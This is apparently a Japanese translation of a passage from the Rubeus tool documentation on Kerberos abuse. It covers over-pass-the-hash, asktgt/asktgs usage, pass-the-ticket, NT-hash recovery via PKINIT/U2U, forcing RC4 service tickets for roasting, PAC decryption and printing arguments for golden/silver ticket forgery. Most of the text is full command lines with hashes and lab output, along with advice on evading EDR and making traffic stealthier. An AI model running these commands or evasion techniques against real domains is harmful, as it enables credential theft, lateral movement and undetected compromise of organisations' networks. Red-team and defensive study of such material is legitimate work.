"すべては誰かが探し始めるまではステルスである" ため、LSASS操作とLsaCallAuthenticationPackage() API呼び出しによるチケット抽出のどちらがより「ステルス」であるかは議論の余地があります。Mimikatzの人気により、LSASSへのハンドルを開き、そのメモリを読み書きすることは、EDRの検出および/または防止の大きなターゲットとなっています。ただし、LsaCallAuthenticationPackage()はかなり限られたプロセスセットで使用され、LsaRegisterLogonProcess()で偽のログオンアプリケーションを作成することもかなり異常な動作です。しかし、完全なAPIレベルのイントロスペクションとベースライン化は、LSASS保護よりも難しい技術的問題であると思われます。
ユーザーのrc4_hmacハッシュ(NTLM)を回復し、この資格情報を再利用して、ユーザーアカウントが特権アクセス権を持つ別のマシンを侵害したいとします。
補足: pass-the-hash != over-pass-the-hash。従来のpass-the-hash技術は、NTLMv1/NTLMv2プロトコルを介してハッシュを再利用するもので、Kerberosにはまったく触れません。over-pass-the-hashアプローチは、Benjamin Delpy と Skip Duckwall によって開発されました(詳細は彼らのプレゼンテーション "Abusing Microsoft Kerberos - Sorry you guys don't get it" を参照)。このアプローチは、ドメイン参加ユーザーのハッシュ/キー(rc4_hmac、aes256_cts_hmac_sha1など)を完全なチケット発行チケット(TGT)に変換します。
ここでは、Mimikatzの sekurlsa::pth コマンドを使用した "over-pass-the-hash" と、Rubeus(またはお好みでKekeo)の asktgt コマンドを使用した場合を比較してみましょう。
sekurlsa::pth を使用してover-pass-the-hashを実行すると、Mimikatzはまずダミーの資格情報を使用して新しいログオンタイプ9プロセスを作成します。これにより、現在のログオンセッションと相互作用しない新しい「犠牲用」ログオンセッションが作成されます。次に、プロセスメモリへの書き込み権限でLSASSプロセスを開き、提供されたハッシュ/キーが関連するログオンセッション(この場合は開始された「犠牲用」ログオンセッション)の適切なセクションにパッチ適用されます。これにより、通常のKerberos認証プロセスが、ユーザーが通常通りログオンしたかのように開始され、提供されたハッシュが完全なTGTに変換されます。
Rubeusの asktgt コマンド(またはKekeoの同等のもの)が実行されると、生のKerberosプロトコルを使用してTGTが要求され、/ptt フラグが渡された場合、現在のログオンセッションに適用されます。
Mimikatzのアプローチでは、LSASSメモリを直接操作するため、管理者権限が必要です。前述の通り、Mimikatzの人気により、この種の動作(LSASSへのハンドルを開き、そのメモリを読み書きすること)は、EDRの検出および/または防止の大きなターゲットとなっています。Rubeus/Kekeoのアプローチでは、LSASSに触れないため管理者権限は必要ありません。ただし、チケットが現在のログオンセッションに適用されると(/ptt)、現在のログオンセッションのTGTが上書きされます。この動作は、(管理者アクセス権があれば)/createnetonly コマンドを使用して犠牲プロセス/ログオンセッションを作成し、その後、新しく作成されたプロセスのLUIDを使用して /ptt /ticket:X /luid:0xa.. を使用することで回避できます。Cobalt Strikeを使用している場合、ダミーの資格情報で make_token コマンドを使用し、Rubeusで取得したチケットで kerberos_ticket_use を使用すると、a) 管理者権限を必要とせず、b) 現在のログオンセッションのTGTを上書きしない方法で、新しいTGTを適用できます。
LSASS操作のアプローチは、(現時点では)その技術の人気により、検出または緩和される可能性が高いと考えています。ただし、Rubeusのアプローチでも、別の検出可能な動作が発生します。ポート88へのKerberosトラフィックは通常、lsass.exeからのみ送信されるべきです。異常なプロセスからこの種の生トラフィックを送信することは、情報を収集できれば検出可能になる可能性があります。
補足: 両方のアプローチが潜在的に検出される方法の1つは、前述の「暗号化ダウングレード」検出です。AESキーを取得するには、Mimikatzの sekurlsa::ekeys モジュールを使用してすべてのKerberos暗号化キーを返します(lsadump::dcsync も同様)。これらのキーは、一部の検出を回避しようとする場合に使用する方が適しています。
チケット要求コマンドの内訳:
asktgt アクションは、指定されたユーザーと暗号化キー(/rc4、/aes128、/aes256、または /des)に対して生のAS-REQ(TGT要求)トラフィックを構築します。ハッシュの代わりに /password フラグも使用できます。この場合、/enctype:X はデフォルトでRC4になり、des|aes128|aes256 もオプションとして指定できます。/domain が指定されない場合、コンピュータの現在のドメインが抽出され、/dc が指定されない場合も同様にシステムの現在のドメインコントローラが抽出されます。認証が成功すると、結果のAS-REPが解析され、KRB-CRED(ユーザーのTGTを含む.kirbi)がbase64ブロブとして出力されます。/ptt フラグは「pass-the-ticket」を行い、結果のKerberos資格情報を現在のログオンセッションに適用します。/luid:0xA.. フラグは、チケットを現在のログオンセッションの代わりに指定されたログオンセッションID(昇格が必要)に適用します。
TGTを要求したり、それらを現在のログオンセッションに適用したりするために、ホスト上で昇格された特権は必要ありません。必要なのはターゲットユーザーの正しいハッシュだけです。また、別のopsec注意事項として、現在のログオンセッションに適用できるTGTは一度に1つだけであるため、/ptt オプションを使用すると、新しいチケットが適用されたときに以前のTGTが消去されます。回避策としては、/createnetonly:C:\X.exe パラメータを使用する(/show フラグが指定されない限り、プロセスはデフォルトで非表示になります)か、チケットを要求して ptt /luid:0xA.. で別のログオンセッションに適用することです。
デフォルトでは、Rubeusによって生成されるAS-REQと本物のAS-REQの間にはいくつかの違いがあります。本物の要求により沿ったAS-REQを形成するために、/opsec フラグを使用できます。これにより、最初に事前認証なしのAS-REQが送信され、これが成功した場合、結果のAS-REPが復号化されてTGTが返されます。そうでない場合は、事前認証付きのAS-REQが送信されます。このフラグはRubeusトラフィックをよりステルスにすることを目的としているため、デフォルトでは aes256 以外の暗号化タイプでは使用できず、他の暗号化タイプが使用された場合は警告を表示して終了します。/opsec 変更で他の暗号化タイプを許可するために、/force フラグが存在します。PKINIT認証は /certificate:X 引数でサポートされています。PFXファイル内の秘密鍵がパスワードで保護されている場合、このパスワードは /password:X 引数で渡すことができます。PKINIT認証を使用する場合、/getcredentials フラグを使用してU2Uサービスチケットを自動的に要求し、アカウントのNTハッシュを取得できます。
PACなしでTGTを要求するには、/nopac スイッチを使用します。
KDCプロキシ(MS-KKDCP)を使用してリクエストを行うには、/proxyurl:URL 引数を使用します。KDCプロキシの完全なURLが必要です。例: https://kdcproxy.exmaple.com/kdcproxy
/nopreauth フラグは、事前認証なしでAS-REQを送信するために使用できます。/service:SPN 引数は、AS-REQを直接使用してサービスチケットを要求するために使用でき、SPNまたはユーザー名を受け取ります。
RC4ハッシュを使用して [email protected] のチケットを要求し、現在のログオンセッションに適用する例:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg
oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl
zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG
VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz
yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk
qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6
cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK
INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE
LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj
lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm
f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+
vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z
zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az
l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE
HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8
o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS
gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a
JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5
ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW
fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t
alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC
ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj
BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz
MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA==
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : krbtgt/testlab.local
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:06:07 PM
EndTime : 2/25/2019 8:06:07 PM
RenewTill : 3/4/2019 3:06:07 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : +zY8adXi2NuvkAxl1ohUOA==
aes256_hmacハッシュを使用して [email protected] のチケットを要求し、新しい非表示プロセスを起動してそのログオンセッションにチケットを適用します。注意: 昇格が必要です!
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Create Process (/netonly)
[*] Showing process : False
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 7564
[+] LUID : 0x3c4c241
[*] Action: Ask TGT
[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...
[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!
/luid および /createnetonly パラメータには昇格が必要です!
証明書を使用してチケットを要求し、/getcredentials を使用してNTハッシュを取得する例:
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : krbtgt/rubeus.ghostpack.local
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 14/07/2021 02:25:33
EndTime : 14/07/2021 12:25:33
RenewTill : 21/07/2021 02:25:33
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 7MS2ajfZo4HedoK+K3dLcQ==
ASREP (key) : 9B1C28A276FBBE557D0F9EE153FE24E1
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
asktgs アクションは、指定されたTGT(/ticket:X)を使用して、生のTGS-REQ/TGS-REPサービスチケット要求を構築・解析します。この値は、.kirbiファイルのbase64エンコードまたはディスク上の.kirbiファイルへのパスにすることができます。/dc が指定されていない場合、コンピュータの現在のドメインコントローラが抽出され、要求トラフィックの送信先として使用されます。/ptt フラグは「pass-the-ticket」を行い、結果のサービスチケットを現在のログオンセッションに適用します。1つ以上の /service:X SPN(カンマ区切り)を必ず指定する必要があります。
構築されたTGS-REQでサポートされる暗号化タイプは、RC4_HMAC、AES128_CTS_HMAC_SHA1、およびAES256_CTS_HMAC_SHA1です。この場合、KDCは相互にサポートされる最も高い暗号化を使用して返されるサービスチケットを構築します。DES、RC4、またはAES128/256キーを強制する場合は、/enctype:[RC4|AES128|AES256|DES] を使用します。
エンタープライズプリンシパル(例: [email protected])を使用してアカウントのサービスチケットを要求するには、/enterprise フラグを使用できます。
デフォルトでは、Rubeusが生成するTGS-REQと正規のTGS-REQの間にはいくつかの違いがあります。正規の要求に沿ったTGS-REQを形成するために、/opsec フラグを使用できます。これにより、制限なしの委任が構成されたアカウントに対してサービスチケットが要求された場合、追加のTGS-REQが自動的に送信されます。このフラグはRubeusのトラフィックをよりステルスにすることを目的としているため、デフォルトでは aes256 以外の暗号化タイプでは使用できず、他の暗号化タイプが使用された場合は警告を出力して終了します。
手動で他のシナリオを試すには、/tgs:X を使用してリクエスト本文に追加される追加のチケットを提供できます。これにより、制約付き委任KDCオプションも追加され、指定されたSPN /service:X から動的にドメインを決定することを回避します。そのため、/targetdomain:X 引数が実装されており、リクエストに指定されたドメインを強制的に使用するようにします。これは、外部ドメインからの委任サービスチケットや通常のSPNを持つチケットを要求する場合に便利です。
/u2u フラグは、User-to-Userチケットを要求するために実装されました。/tgs:X 引数(ターゲットアカウントのTGTを提供するために使用)と一緒に使用すると、/service:X 引数は、提供されたTGTの対象となるアカウントのユーザー名にすることができます(/tgs:X 引数を使用)。/targetuser:X 引数は、target user's ユーザー名を含むPA-FOR-USER PAデータセクションを挿入して、他の任意のアカウントのPACを要求します。
/printargs フラグは、PACが読み取り可能な場合に同じPAC値でチケットを偽造するために必要な引数を出力します。これは、/servicekey:X 引数を提供するか、既知のセッションキーで /u2u リクエストを実行することで行えます。
KDCプロキシ(MS-KKDCP)を使用してリクエストを行うには、/proxyurl:URL 引数を使用します。KDCプロキシの完全なURLが必要です。例: https://kdcproxy.exmaple.com/kdcproxy
/keyList フラグは、Kerberos Key List Requests のために実装されました。これらのリクエストは、読み取り専用ドメインコントローラからの偽造された部分TGTを /ticket:BASE64|FILE.KIRBI パラメータで利用する必要があります。この偽造TGTの詳細については、golden セクションを参照してください。さらに、/spn:x フィールドは、ドメイン内のKRBTGT SPN(例: KRBTBT/domain.local)に設定する必要があります。
asktgs アクションは、LSASSを使用したKerberos認証パッケージを介したサービスチケットの要求もサポートしています。この動作モードは、/ticket 引数を省略することで有効になります。デフォルトでは、現在のログオンセッションに関連付けられたTGTが使用されます。別のログオンセッションをターゲットにするには、/luid:xxx 引数を指定します。他のログオンセッションをターゲットにするには、ローカル管理者権限が必要です。現在、LSASSを介して要求できるのは単純なサービスチケットのみです。S4U2Self、U2U、キーリスト、KDCプロキシなどの機能の引数は無視されます。LSASSを介してサービスチケットを要求すると、KerberosトラフィックがLSASSから発信されるため、多くの場合、opsec的に優れています。このモードは、Credential Guard / Remote Credential Guardがアクティブなシナリオでも必要です。これは、credential guardでTGTをダンプできないためです。
dfm.aのTGTを要求し、そのチケットを使用して "LDAP/primary.testlab.local" および "cifs/primary.testlab.local" SPNのサービスチケットを要求する例:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
AES対応サービスアカウントのサービスチケットを要求し、RC4_HMAC のみ をサポートすることを指定する例:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
ユーザー間サービスチケットを要求し、PA for User PA-DATAセクション(S4U2selfリクエスト)を含めることで、任意のユーザーの読み取り可能なPACを取得できます。例:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
PAC が復号可能な場合(ユーザー間要求を使用するか、/servicekey を渡すことで)、同じ PAC 値を含むチケットを偽造するために必要な引数を表示することができます。
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
PKINIT を使用して TGT を要求し、ユーザー間サービス チケットを要求して PAC 内に保存された NTLM ハッシュへのアクセスを取得します(手動で asktgt に /getcredentials フラグを実行するのと同じ操作):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
